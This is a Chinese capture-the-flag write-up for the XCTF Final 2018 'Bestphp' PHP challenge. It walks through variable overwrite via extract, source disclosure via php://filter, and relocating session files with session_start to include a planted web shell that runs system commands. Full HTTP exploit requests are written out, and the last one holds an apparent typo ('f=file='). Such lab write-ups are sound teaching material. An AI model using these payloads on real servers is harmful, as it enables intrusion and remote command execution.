考点

  • lfi+session
  • session_start函数修改session文件存储位置

环境配置

复现环境来自 https://github.com/shimmeris/CTF-Web-Challenges/tree/master/File-Inclusion/XCTF-Final-2018-Bestphp ,需要修改deploy/Dockerfile,否则在解题时请求中不会带有PHPSESSID,因为session.auto_start没有启用:

5

在27行下面加入一行启用session_auto_start=On的命令即可:

1
RUN echo 'session.auto_start=On' > /etc/php/7.0/fpm/php.ini

题解

打开题目就拿到了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html:/tmp');
$file = 'function.php';
$func = isset($_GET['function'])?$_GET['function']:'filters';
call_user_func($func,$_GET);
include($file);
session_start();
$_SESSION['name'] = $_POST['name'];
if($_SESSION['name']=='admin'){
header('location:admin.php');
}
?>

代码中存在一个敏感函数call_user_func,所以可以利用extract函数进行变量覆盖(覆盖掉$file变量),同时使用php://filter读取function.php和admin.php的源码:

1
?function=extract&file=php://filter/read=convert.base64-encode/resource=function.php

1

得到function.php源码:

1
2
3
4
5
6
7
8
9
<?php
function filters($data){
foreach($data as $key=>$value){
if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
die('Do not hack me!');
}
}
}
?>

admin.php源码:

1
2
3
4
5
6
7
8
9
10
hello admin
<?php
if(empty($_SESSION['name'])){
session_start();
#echo 'hello ' + $_SESSION['name'];
}else{
die('you must login with admin');
}

?>

从function.php和admin.php中并没有看到什么特别的内容,或者说目前来看用处不大。

lfi+session

当前是存在session文件的,而且session的内容用户可控:

1
2
session_start();
$_SESSION['name'] = $_POST['name'];

而现在存在一个lfi漏洞,lfi经常和日志文件包含、临时文件包含以及session文件包含联系在一起,而当前session的内容又可控,所以lfi+session文件包含是容易想到的一种利用方式。

但是open_basedir将程序执行路径限制在/var/www/html和/tmp:

1
ini_set('open_basedir', '/var/www/html:/tmp');

而session文件的默认存储路径为 /var/lib/php/sessions/sess_sessionID,是我们无法包含的文件路径。

这时可以使用session_start函数修改session的存储路径,查看session_start的手册 https://www.php.net/manual/zh/function.session-start.php

1
2
// 语法
session_start ([ array $options = array() ] ) : bool

根据php手册的内容,参数$options是可选数组,如果提供该参数,将会替换默认的配置:

2

这里的会话配置指示指的是:

3

上图中的第一个参数就指定了session文件的存储位置:

4

得到的payload为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /bestphp/index.php?function=session_start&save_path=. HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Origin: http://ip
Connection: close
Cookie: PHPSESSID=gt8914khjpsr9fmh1jvu0ddi25
Upgrade-Insecure-Requests: 1

name=<?php phpinfo();

那么现在session文件就会保存当前目录下,利用相同的方式上传一个shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /bestphp/index.php?function=session_start&save_path=. HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://ip
Connection: close
Cookie: PHPSESSID=gt8914khjpsr9fmh1jvu0ddi25
Upgrade-Insecure-Requests: 1

name=<?php system($_GET[1]);?>

接着执行命令,查看根目录下的文件:

1
2
3
4
5
6
7
8
9
GET /bestphp/index.php?function=extract&f=file=./sess_gt8914khjpsr9fmh1jvu0ddi25&1=ls%20/ HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://ip
Connection: close
Cookie: PHPSESSID=gt8914khjpsr9fmh1jvu0ddi25

参考

  1. XCTF Final 2018 Web Writeup (Bestphp与PUBG详解)
  2. 2018 Xctf Final LCTF-Bestphp